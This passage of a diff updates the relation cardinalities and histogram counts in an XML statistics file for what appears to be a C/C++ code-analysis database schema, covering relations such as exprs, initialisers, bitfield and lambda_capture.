                             </bs>
                         </hist>
@@ -30215,7 +30250,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>12966</v>
+                                    <v>12967</v>
                                 </b>
                                 <b>
                                     <a>2</a>
@@ -30261,7 +30296,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>21915</v>
+                                    <v>21917</v>
                                 </b>
                                 <b>
                                     <a>2</a>
@@ -30358,19 +30393,19 @@
         </relation>
         <relation>
             <name>bitfield</name>
-            <cardinality>21007</cardinality>
+            <cardinality>20961</cardinality>
             <columnsizes>
                 <e>
                     <k>id</k>
-                    <v>21007</v>
+                    <v>20961</v>
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                 <e>
                     <k>bits</k>
-                    <v>2625</v>
+                    <v>2620</v>
                 </e>
                 <e>
                     <k>declared_bits</k>
-                    <v>2625</v>
+                    <v>2620</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -30384,7 +30419,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>21007</v>
+                                    <v>20961</v>
                                 </b>
                             </bs>
                         </hist>
@@ -30400,7 +30435,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>21007</v>
+                                    <v>20961</v>
                                 </b>
                             </bs>
                         </hist>
@@ -30416,42 +30451,42 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>735</v>
+                                    <v>733</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>630</v>
+                                    <v>628</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>4</b>
-                                    <v>210</v>
+                                    <v>209</v>
                                 </b>
                                 <b>
                                     <a>4</a>
                                     <b>5</b>
-                                    <v>210</v>
+                                    <v>209</v>
                                 </b>
                                 <b>
                                     <a>5</a>
                                     <b>6</b>
-                                    <v>210</v>
+                                    <v>209</v>
                                 </b>
                                 <b>
                                     <a>6</a>
                                     <b>8</b>
-                                    <v>210</v>
+                                    <v>209</v>
                                 </b>
                                 <b>
                                     <a>8</a>
                                     <b>11</b>
-                                    <v>210</v>
+                                    <v>209</v>
                                 </b>
                                 <b>
                                     <a>12</a>
                                     <b>115</b>
-                                    <v>210</v>
+                                    <v>209</v>
                                 </b>
                             </bs>
                         </hist>
@@ -30467,7 +30502,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>2625</v>
+                                    <v>2620</v>
                                 </b>
                             </bs>
                         </hist>
@@ -30483,42 +30518,42 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>735</v>
+                                    <v>733</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>630</v>
+                                    <v>628</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>4</b>
-                                    <v>210</v>
+                                    <v>209</v>
                                 </b>
                                 <b>
                                     <a>4</a>
                                     <b>5</b>
-                                    <v>210</v>
+                                    <v>209</v>
                                 </b>
                                 <b>
                                     <a>5</a>
                                     <b>6</b>
-                                    <v>210</v>
+                                    <v>209</v>
                                 </b>
                                 <b>
                                     <a>6</a>
                                     <b>8</b>
-                                    <v>210</v>
+                                    <v>209</v>
                                 </b>
                                 <b>
                                     <a>8</a>
                                     <b>11</b>
-                                    <v>210</v>
+                                    <v>209</v>
                                 </b>
                                 <b>
                                     <a>12</a>
                                     <b>115</b>
-                                    <v>210</v>
+                                    <v>209</v>
                                 </b>
                             </bs>
                         </hist>
@@ -30534,7 +30569,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>2625</v>
+                                    <v>2620</v>
                                 </b>
                             </bs>
                         </hist>
@@ -30544,23 +30579,23 @@
         </relation>
         <relation>
             <name>initialisers</name>
-            <cardinality>1736804</cardinality>
+            <cardinality>1731850</cardinality>
             <columnsizes>
                 <e>
                     <k>init</k>
-                    <v>1736804</v>
+                    <v>1731850</v>
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                 <e>
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-                    <v>719782</v>
+                    <v>717751</v>
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                 <e>
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-                    <v>1736804</v>
+                    <v>1731850</v>
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                 <e>
                     <k>location</k>
-                    <v>391526</v>
+                    <v>390432</v>
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             </columnsizes>
             <dependencies>
@@ -30574,7 +30609,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>1736804</v>
+                                    <v>1731850</v>
                                 </b>
                             </bs>
                         </hist>
@@ -30590,7 +30625,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>1736804</v>
+                                    <v>1731850</v>
                                 </b>
                             </bs>
                         </hist>
@@ -30606,7 +30641,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>1736804</v>
+                                    <v>1731850</v>
                                 </b>
                             </bs>
                         </hist>
@@ -30622,17 +30657,17 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>631170</v>
+                                    <v>629393</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>16</b>
-                                    <v>31717</v>
+                                    <v>31625</v>
                                 </b>
                                 <b>
                                     <a>16</a>
                                     <b>25</b>
-                                    <v>56851</v>
+                                    <v>56687</v>
                                 </b>
                                 <b>
                                     <a>25</a>
@@ -30653,17 +30688,17 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>631170</v>
+                                    <v>629393</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>16</b>
-                                    <v>31717</v>
+                                    <v>31625</v>
                                 </b>
                                 <b>
                                     <a>16</a>
                                     <b>25</b>
-                                    <v>56851</v>
+                                    <v>56687</v>
                                 </b>
                                 <b>
                                     <a>25</a>
@@ -30684,7 +30719,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>719700</v>
+                                    <v>717669</v>
                                 </b>
                                 <b>
                                     <a>2</a>
@@ -30705,7 +30740,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>1736804</v>
+                                    <v>1731850</v>
                                 </b>
                             </bs>
                         </hist>
@@ -30721,7 +30756,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>1736804</v>
+                                    <v>1731850</v>
                                 </b>
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@@ -30737,7 +30772,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>1736804</v>
+                                    <v>1731850</v>
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@@ -30753,22 +30788,22 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>318848</v>
+                                    <v>317950</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>23904</v>
+                                    <v>23835</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>15</b>
-                                    <v>30865</v>
+                                    <v>30789</v>
                                 </b>
                                 <b>
                                     <a>15</a>
-                                    <b>111462</b>
-                                    <v>17907</v>
+                                    <b>111459</b>
+                                    <v>17856</v>
                                 </b>
                             </bs>
                         </hist>
@@ -30784,17 +30819,17 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>341914</v>
+                                    <v>340950</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>4</b>
-                                    <v>35670</v>
+                                    <v>35580</v>
                                 </b>
                                 <b>
                                     <a>4</a>
-                                    <b>12741</b>
-                                    <v>13941</v>
+                                    <b>12738</b>
+                                    <v>13901</v>
                                 </b>
                             </bs>
                         </hist>
@@ -30810,22 +30845,22 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>318848</v>
+                                    <v>317950</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>23904</v>
+                                    <v>23835</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>15</b>
-                                    <v>30865</v>
+                                    <v>30789</v>
                                 </b>
                                 <b>
                                     <a>15</a>
-                                    <b>111462</b>
-                                    <v>17907</v>
+                                    <b>111459</b>
+                                    <v>17856</v>
                                 </b>
                             </bs>
                         </hist>
@@ -30835,15 +30870,15 @@
         </relation>
         <relation>
             <name>expr_ancestor</name>
-            <cardinality>121360</cardinality>
+            <cardinality>121674</cardinality>
             <columnsizes>
                 <e>
                     <k>exp</k>
-                    <v>121360</v>
+                    <v>121674</v>
                 </e>
                 <e>
                     <k>ancestor</k>
-                    <v>84661</v>
+                    <v>84880</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -30857,7 +30892,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>121360</v>
+                                    <v>121674</v>
                                 </b>
                             </bs>
                         </hist>
@@ -30873,22 +30908,22 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>61219</v>
+                                    <v>61377</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>16741</v>
+                                    <v>16785</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>8</b>
-                                    <v>6466</v>
+                                    <v>6483</v>
                                 </b>
                                 <b>
                                     <a>8</a>
                                     <b>18</b>
-                                    <v>233</v>
+                                    <v>234</v>
                                 </b>
                             </bs>
                         </hist>
@@ -30898,19 +30933,19 @@
         </relation>
         <relation>
             <name>exprs</name>
-            <cardinality>18298854</cardinality>
+            <cardinality>18300140</cardinality>
             <columnsizes>
                 <e>
                     <k>id</k>
-                    <v>18298854</v>
+                    <v>18300140</v>
                 </e>
                 <e>
                     <k>kind</k>
-                    <v>8670</v>
+                    <v>3382</v>
                 </e>
                 <e>
                     <k>location</k>
-                    <v>7747846</v>
+                    <v>3561673</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -30924,7 +30959,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>18298854</v>
+                                    <v>18300140</v>
                                 </b>
                             </bs>
                         </hist>
@@ -30940,7 +30975,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>18298854</v>
+                                    <v>18300140</v>
                                 </b>
                             </bs>
                         </hist>
@@ -30955,68 +30990,68 @@
                             <bs>
                                 <b>
                                     <a>1</a>
-                                    <b>6</b>
-                                    <v>632</v>
+                                    <b>5</b>
+                                    <v>281</v>
                                 </b>
                                 <b>
-                                    <a>6</a>
-                                    <b>12</b>
-                                    <v>632</v>
+                                    <a>5</a>
+                                    <b>14</b>
+                                    <v>211</v>
                                 </b>
                                 <b>
-                                    <a>18</a>
-                                    <b>28</b>
-                                    <v>541</v>
+                                    <a>14</a>
+                                    <b>38</b>
+                                    <v>281</v>
                                 </b>
                                 <b>
-                                    <a>29</a>
-                                    <b>45</b>
-                                    <v>722</v>
+                                    <a>42</a>
+                                    <b>66</b>
+                                    <v>281</v>
                                 </b>
                                 <b>
-                                    <a>45</a>
-                                    <b>88</b>
-                                    <v>722</v>
+                                    <a>82</a>
+                                    <b>135</b>
+                                    <v>281</v>
                                 </b>
                                 <b>
-                                    <a>89</a>
-                                    <b>122</b>
-                                    <v>722</v>
+                                    <a>141</a>
+                                    <b>334</b>
+                                    <v>281</v>
                                 </b>
                                 <b>
-                                    <a>152</a>
-                                    <b>234</b>
-                                    <v>722</v>
+                                    <a>338</a>
+                                    <b>509</b>
+                                    <v>281</v>
                                 </b>
                                 <b>
-                                    <a>241</a>
-                                    <b>441</b>
-                                    <v>722</v>
+                                    <a>563</a>
+                                    <b>830</b>
+                                    <v>281</v>
                                 </b>
                                 <b>
-                                    <a>504</a>
-                                    <b>778</b>
-                                    <v>722</v>
+                                    <a>831</a>
+                                    <b>1183</b>
+                                    <v>281</v>
                                 </b>
                                 <b>
-                                    <a>802</a>
-                                    <b>1049</b>
-                                    <v>722</v>
+                                    <a>1184</a>
+                                    <b>2071</b>
+                                    <v>281</v>
                                 </b>
                                 <b>
-                                    <a>1117</a>
-                                    <b>2286</b>
-                                    <v>722</v>
+                                    <a>2627</a>
+                                    <b>5700</b>
+                                    <v>281</v>
                                 </b>
                                 <b>
-                                    <a>2424</a>
-                                    <b>9743</b>
-                                    <v>722</v>
+                                    <a>6591</a>
+                                    <b>63491</b>
+                                    <v>281</v>
                                 </b>
                                 <b>
-                                    <a>22722</a>
-                                    <b>53144</b>
-                                    <v>361</v>
+                                    <a>78915</a>
+                                    <b>109590</b>
+                                    <v>70</v>
                                 </b>
                             </bs>
                         </hist>
@@ -31031,68 +31066,68 @@
                             <bs>
                                 <b>
                                     <a>1</a>
+                                    <b>2</b>
+                                    <v>281</v>
+                                </b>
+                                <b>
+                                    <a>2</a>
                                     <b>3</b>
-                                    <v>722</v>
+                                    <v>176</v>
                                 </b>
                                 <b>
                                     <a>3</a>
-                                    <b>4</b>
-                                    <v>541</v>
+                                    <b>6</b>
+                                    <v>281</v>
                                 </b>
                                 <b>
-                                    <a>4</a>
+                                    <a>6</a>
                                     <b>13</b>
-                                    <v>722</v>
+                                    <v>281</v>
                                 </b>
                                 <b>
-                                    <a>13</a>
-                                    <b>24</b>
-                                    <v>722</v>
+                                    <a>14</a>
+                                    <b>26</b>
+                                    <v>281</v>
                                 </b>
                                 <b>
-                                    <a>24</a>
-                                    <b>37</b>
-                                    <v>722</v>
+                                    <a>28</a>
+                                    <b>62</b>
+                                    <v>246</v>
                                 </b>
                                 <b>
-                                    <a>41</a>
-                                    <b>101</b>
-                                    <v>722</v>
+                                    <a>63</a>
+                                    <b>83</b>
+                                    <v>281</v>
                                 </b>
                                 <b>
-                                    <a>102</a>
-                                    <b>175</b>
-                                    <v>722</v>
+                                    <a>91</a>
+                                    <b>183</b>
+                                    <v>281</v>
                                 </b>
                                 <b>
-                                    <a>180</a>
-                                    <b>279</b>
-                                    <v>722</v>
+                                    <a>206</a>
+                                    <b>342</b>
+                                    <v>281</v>
                                 </b>
                                 <b>
-                                    <a>281</a>
-                                    <b>499</b>
-                                    <v>722</v>
+                                    <a>353</a>
+                                    <b>448</b>
+                                    <v>281</v>
                                 </b>
                                 <b>
-                                    <a>565</a>
-                                    <b>774</b>
-                                    <v>722</v>
+                                    <a>468</a>
+                                    <b>1018</b>
+                                    <v>281</v>
                                 </b>
                                 <b>
-                                    <a>813</a>
-                                    <b>1643</b>
-                                    <v>722</v>
+                                    <a>1051</a>
+                                    <b>14609</b>
+                                    <v>281</v>
                                 </b>
                                 <b>
-                                    <a>1728</a>
-                                    <b>13946</b>
-                                    <v>722</v>
-                                </b>
-                                <b>
-                                    <a>15037</a>
-                                    <b>33170</b>
-                                    <v>180</v>
+                                    <a>16974</a>
+                                    <b>32757</b>
+                                    <v>140</v>
                                 </b>
                             </bs>
                         </hist>
@@ -31108,22 +31143,32 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>5161708</v>
+                                    <v>1936933</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>1378731</v>
+                                    <v>816932</v>
                                 </b>
                                 <b>
                                     <a>3</a>
-                                    <b>5</b>
-                                    <v>662723</v>
+                                    <b>4</b>
+                                    <v>247260</v>
                                 </b>
                                 <b>
-                                    <a>5</a>
-                                    <b>14777</b>
-                                    <v>544682</v>
+                                    <a>4</a>
+                                    <b>8</b>
+                                    <v>280872</v>
+                                </b>
+                                <b>
+                                    <a>8</a>
+                                    <b>136</b>
+                                    <v>267131</v>
+                                </b>
+                                <b>
+                                    <a>136</a>
+                                    <b>54140</b>
+                                    <v>12542</v>
                                 </b>
                             </bs>
                         </hist>
@@ -31139,17 +31184,22 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>5999730</v>
+                                    <v>2363808</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>1427591</v>
+                                    <v>873691</v>
                                 </b>
                                 <b>
                                     <a>3</a>
-                                    <b>26</b>
-                                    <v>320523</v>
+                                    <b>6</b>
+                                    <v>307261</v>
+                                </b>
+                                <b>
+                                    <a>6</a>
+                                    <b>25</b>
+                                    <v>16911</v>
                                 </b>
                             </bs>
                         </hist>
@@ -31159,19 +31209,19 @@
         </relation>
         <relation>
             <name>expr_types</name>
-            <cardinality>18356354</cardinality>
+            <cardinality>18357789</cardinality>
             <columnsizes>
                 <e>
                     <k>id</k>
-                    <v>18298854</v>
+                    <v>18300140</v>
                 </e>
                 <e>
                     <k>typeid</k>
-                    <v>806338</v>
+                    <v>829282</v>
                 </e>
                 <e>
                     <k>value_category</k>
-                    <v>53</v>
+                    <v>54</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -31185,12 +31235,12 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>18241425</v>
+                                    <v>18242562</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>5</b>
-                                    <v>57428</v>
+                                    <v>57577</v>
                                 </b>
                             </bs>
                         </hist>
@@ -31206,7 +31256,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>18298854</v>
+                                    <v>18300140</v>
                                 </b>
                             </bs>
                         </hist>
@@ -31222,42 +31272,42 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>278288</v>
+                                    <v>293470</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>160556</v>
+                                    <v>160720</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>4</b>
-                                    <v>69787</v>
+                                    <v>69824</v>
                                 </b>
                                 <b>
                                     <a>4</a>
                                     <b>5</b>
-                                    <v>57051</v>
+                                    <v>60801</v>
                                 </b>
                                 <b>
                                     <a>5</a>
                                     <b>7</b>
-                                    <v>62027</v>
+                                    <v>66996</v>
                                 </b>
                                 <b>
                                     <a>7</a>
                                     <b>12</b>
-                                    <v>67236</v>
+                                    <v>65321</v>
                                 </b>
                                 <b>
                                     <a>12</a>
                                     <b>35</b>
-                                    <v>61758</v>
+                                    <v>62638</v>
                                 </b>
                                 <b>
                                     <a>35</a>
-                                    <b>78725</b>
-                                    <v>49632</v>
+                                    <b>78674</b>
+                                    <v>49509</v>
                                 </b>
                             </bs>
                         </hist>
@@ -31273,17 +31323,17 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>695684</v>
+                                    <v>716180</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>100271</v>
+                                    <v>102314</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>4</b>
-                                    <v>10382</v>
+                                    <v>10787</v>
                                 </b>
                             </bs>
                         </hist>
@@ -31297,19 +31347,19 @@
                             <budget>12</budget>
                             <bs>
                                 <b>
-                                    <a>11948</a>
-                                    <b>11949</b>
-                                    <v>17</v>
+                                    <a>11828</a>
+                                    <b>11829</b>
+                                    <v>18</v>
                                 </b>
                                 <b>
-                                    <a>253514</a>
-                                    <b>253515</b>
-                                    <v>17</v>
+                                    <a>253738</a>
+                                    <b>253739</b>
+                                    <v>18</v>
                                 </b>
                                 <b>
-                                    <a>753215</a>
-                                    <b>753216</b>
-                                    <v>17</v>
+                                    <a>750551</a>
+                                    <b>750552</b>
+                                    <v>18</v>
                                 </b>
                             </bs>
                         </hist>
@@ -31323,19 +31373,19 @@
                             <budget>12</budget>
                             <bs>
                                 <b>
-                                    <a>1415</a>
-                                    <b>1416</b>
-                                    <v>17</v>
+                                    <a>1446</a>
+                                    <b>1447</b>
+                                    <v>18</v>
                                 </b>
                                 <b>
-                                    <a>11760</a>
-                                    <b>11761</b>
-                                    <v>17</v>
+                                    <a>11978</a>
+                                    <b>11979</b>
+                                    <v>18</v>
                                 </b>
                                 <b>
-                                    <a>38451</a>
-                                    <b>38452</b>
-                                    <v>17</v>
+                                    <a>39501</a>
+                                    <b>39502</b>
+                                    <v>18</v>
                                 </b>
                             </bs>
                         </hist>
@@ -31345,15 +31395,15 @@
         </relation>
         <relation>
             <name>new_allocated_type</name>
-            <cardinality>55240</cardinality>
+            <cardinality>47598</cardinality>
             <columnsizes>
                 <e>
                     <k>expr</k>
-                    <v>55240</v>
+                    <v>47598</v>
                 </e>
                 <e>
                     <k>type_id</k>
-                    <v>27952</v>
+                    <v>28150</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -31367,7 +31417,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>55240</v>
+                                    <v>47598</v>
                                 </b>
                             </bs>
                         </hist>
@@ -31383,22 +31433,17 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>9095</v>
+                                    <v>11767</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>15987</v>
+                                    <v>14903</v>
                                 </b>
                                 <b>
                                     <a>3</a>
-                                    <b>6</b>
-                                    <v>2134</v>
-                                </b>
-                                <b>
-                                    <a>6</a>
-                                    <b>28</b>
-                                    <v>734</v>
+                                    <b>19</b>
+                                    <v>1479</v>
                                 </b>
                             </bs>
                         </hist>
@@ -31408,15 +31453,15 @@
         </relation>
         <relation>
             <name>new_array_allocated_type</name>
-            <cardinality>5113</cardinality>
+            <cardinality>5099</cardinality>
             <columnsizes>
                 <e>
                     <k>expr</k>
-                    <v>5113</v>
+                    <v>5099</v>
                 </e>
                 <e>
                     <k>type_id</k>
-                    <v>2200</v>
+                    <v>2194</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -31430,7 +31475,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>5113</v>
+                                    <v>5099</v>
                                 </b>
                             </bs>
                         </hist>
@@ -31451,12 +31496,12 @@
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>1948</v>
+                                    <v>1942</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>7</b>
-                                    <v>170</v>
+                                    <v>169</v>
                                 </b>
                                 <b>
                                     <a>8</a>
@@ -32018,15 +32063,15 @@
         </relation>
         <relation>
             <name>condition_decl_bind</name>
-            <cardinality>38495</cardinality>
+            <cardinality>38595</cardinality>
             <columnsizes>
                 <e>
                     <k>expr</k>
-                    <v>38495</v>
+                    <v>38595</v>
                 </e>
                 <e>
                     <k>decl</k>
-                    <v>38495</v>
+                    <v>38595</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -32040,7 +32085,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>38495</v>
+                                    <v>38595</v>
                                 </b>
                             </bs>
                         </hist>
@@ -32056,7 +32101,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>38495</v>
+                                    <v>38595</v>
                                 </b>
                             </bs>
                         </hist>
@@ -32066,15 +32111,15 @@
         </relation>
         <relation>
             <name>typeid_bind</name>
-            <cardinality>36173</cardinality>
+            <cardinality>36430</cardinality>
             <columnsizes>
                 <e>
                     <k>expr</k>
-                    <v>36173</v>
+                    <v>36430</v>
                 </e>
                 <e>
                     <k>type_id</k>
-                    <v>16267</v>
+                    <v>16383</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -32088,7 +32133,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>36173</v>
+                                    <v>36430</v>
                                 </b>
                             </bs>
                         </hist>
@@ -32104,12 +32149,12 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>15847</v>
+                                    <v>15960</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>328</b>
-                                    <v>419</v>
+                                    <v>422</v>
                                 </b>
                             </bs>
                         </hist>
@@ -32119,15 +32164,15 @@
         </relation>
         <relation>
             <name>uuidof_bind</name>
-            <cardinality>20051</cardinality>
+            <cardinality>19994</cardinality>
             <columnsizes>
                 <e>
                     <k>expr</k>
-                    <v>20051</v>
+                    <v>19994</v>
                 </e>
                 <e>
                     <k>type_id</k>
-                    <v>19856</v>
+                    <v>19799</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -32141,7 +32186,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>20051</v>
+                                    <v>19994</v>
                                 </b>
                             </bs>
                         </hist>
@@ -32157,7 +32202,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>19692</v>
+                                    <v>19635</v>
                                 </b>
                                 <b>
                                     <a>2</a>
@@ -32172,15 +32217,15 @@
         </relation>
         <relation>
             <name>sizeof_bind</name>
-            <cardinality>191840</cardinality>
+            <cardinality>191854</cardinality>
             <columnsizes>
                 <e>
                     <k>expr</k>
-                    <v>191840</v>
+                    <v>191854</v>
                 </e>
                 <e>
                     <k>type_id</k>
-                    <v>8193</v>
+                    <v>8194</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -32194,7 +32239,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>191840</v>
+                                    <v>191854</v>
                                 </b>
                             </bs>
                         </hist>
@@ -32303,19 +32348,19 @@
         </relation>
         <relation>
             <name>lambdas</name>
-            <cardinality>21712</cardinality>
+            <cardinality>21639</cardinality>
             <columnsizes>
                 <e>
                     <k>expr</k>
-                    <v>21712</v>
+                    <v>21639</v>
                 </e>
                 <e>
                     <k>default_capture</k>
-                    <v>472</v>
+                    <v>470</v>
                 </e>
                 <e>
                     <k>has_explicit_return_type</k>
-                    <v>472</v>
+                    <v>470</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -32329,7 +32374,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>21712</v>
+                                    <v>21639</v>
                                 </b>
                             </bs>
                         </hist>
@@ -32345,7 +32390,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>21712</v>
+                                    <v>21639</v>
                                 </b>
                             </bs>
                         </hist>
@@ -32361,7 +32406,7 @@
                                 <b>
                                     <a>46</a>
                                     <b>47</b>
-                                    <v>472</v>
+                                    <v>470</v>
                                 </b>
                             </bs>
                         </hist>
@@ -32377,7 +32422,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>472</v>
+                                    <v>470</v>
                                 </b>
                             </bs>
                         </hist>
@@ -32393,7 +32438,7 @@
                                 <b>
                                     <a>46</a>
                                     <b>47</b>
-                                    <v>472</v>
+                                    <v>470</v>
                                 </b>
                             </bs>
                         </hist>
@@ -32409,7 +32454,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>472</v>
+                                    <v>470</v>
                                 </b>
                             </bs>
                         </hist>
@@ -32419,35 +32464,35 @@
         </relation>
         <relation>
             <name>lambda_capture</name>
-            <cardinality>28320</cardinality>
+            <cardinality>28224</cardinality>
             <columnsizes>
                 <e>
                     <k>id</k>
-                    <v>28320</v>
+                    <v>28224</v>
                 </e>
                 <e>
                     <k>lambda</k>
-                    <v>20768</v>
+                    <v>20698</v>
                 </e>
                 <e>
                     <k>index</k>
-                    <v>944</v>
+                    <v>940</v>
                 </e>
                 <e>
                     <k>field</k>
-                    <v>28320</v>
+                    <v>28224</v>
                 </e>
                 <e>
                     <k>captured_by_reference</k>
-                    <v>472</v>
+                    <v>470</v>
                 </e>
                 <e>
                     <k>is_implicit</k>
-                    <v>472</v>
+                    <v>470</v>
                 </e>
                 <e>
                     <k>location</k>
-                    <v>2832</v>
+                    <v>2822</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -32461,7 +32506,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>28320</v>
+                                    <v>28224</v>
                                 </b>
                             </bs>
                         </hist>
@@ -32477,7 +32522,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>28320</v>
+                                    <v>28224</v>
                                 </b>
                             </bs>
                         </hist>
@@ -32493,7 +32538,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>28320</v>
+                                    <v>28224</v>
                                 </b>
                             </bs>
                         </hist>
@@ -32509,7 +32554,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>28320</v>
+                                    <v>28224</v>
                                 </b>
                             </bs>
                         </hist>
@@ -32525,7 +32570,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>28320</v>
+                                    <v>28224</v>
                                 </b>
                             </bs>
                         </hist>
@@ -32541,7 +32586,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>28320</v>
+                                    <v>28224</v>
                                 </b>
                             </bs>
                         </hist>
@@ -32557,12 +32602,12 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>13216</v>
+                                    <v>13171</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>7552</v>
+                                    <v>7526</v>
                                 </b>
                             </bs>
                         </hist>
@@ -32578,12 +32623,12 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>13216</v>
+                                    <v>13171</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>7552</v>
+                                    <v>7526</v>
                                 </b>
                             </bs>
                         </hist>
@@ -32599,12 +32644,12 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>13216</v>
+                                    <v>13171</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>7552</v>
+                                    <v>7526</v>
                                 </b>
                             </bs>
                         </hist>
@@ -32620,7 +32665,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>20768</v>
+                                    <v>20698</v>
                                 </b>
                             </bs>
                         </hist>
@@ -32636,7 +32681,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>20768</v>
+                                    <v>20698</v>
                                 </b>
                             </bs>
                         </hist>
@@ -32652,12 +32697,12 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>13216</v>
